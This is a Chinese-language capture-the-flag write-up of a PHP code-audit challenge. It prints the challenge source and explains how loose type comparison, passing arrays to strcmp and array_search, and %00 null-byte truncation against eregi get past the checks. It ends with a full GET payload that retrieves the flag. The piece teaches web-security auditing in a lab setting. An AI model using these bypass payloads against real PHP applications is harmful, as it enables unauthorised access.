目录
打开题目就是代码审计
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2021)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "cstc2021")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
粘贴到本地,分析一波
这个代码主要考查的知识点比较杂,包括进行一些绕过,%00截断eregi()函数,用的最多的还是php数组绕过。
整体思路
我们需要输入的参数有三个,并且都是GET方式输入,经过代码执行,$v1,$v2,$v3会从0变为1,就会进行文件包含得到flag。
1. 对$v1进行分析
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2021)?$v1=1:NULL;
因为php的比较会先将两边的数据类型转化为同一类型,然后再进行比较。
如果,$a[“bar1”]=2022a,那么既可以满足不是数字类型,同时进行数据比较的时候也可以满足大于2021。
2. 对$V2进行分析
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
$a[“bar2”]必须要是五个元素,并且第一个元素需要是数组,
所以构造$a[“bar2”]=[[],1,2,3,4]
同时$a[“a2”]中存在nudt,
并且$a[“bar2”]中没有nudt,所以构造
foo={“bar1”:”2022a”,”bar2”: [[],1,2,3,4],”a2”:[“nudt”]}
3. 对$V3进行分析
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "cstc2021")?$v3=1:NULL;
}
1. GET方式传值cat和dog,然后进行strcmp比较,之前做过类似的题目,可以使用数组和字符串进行比较,返回NULL,同时也满足!==
2. 而eregi是对拼接后的字符串进行匹配(不过该函数有点老了),匹配到则die,
3. 而strpos又需要拼接后的字符串从第二个字符开始就是cstc2021(strpos下标是从0开始的),所以可以用%00进行截断
令%d=%00,$c[0]=acstc2021
这样的话,绕过eregi的同时又可以匹配到cstc2021
$d.$c[0]=%00acstc2021
$c[0].$d=acstc2021%00
所以最终的Payload:
?foo={"bar1":"2022a","bar2":[[],2,3,4,5],"a2":["nudt"]}&cat[0]=acstc2021&cat[1][]=&dog=%00
最终得到flag
总结:自己还是学得不到位,这个题目就浪费了许多时间,导致得分太低。本次比赛还是靠队友带了,惭愧。。。未来还有很长的路,加油学!!!!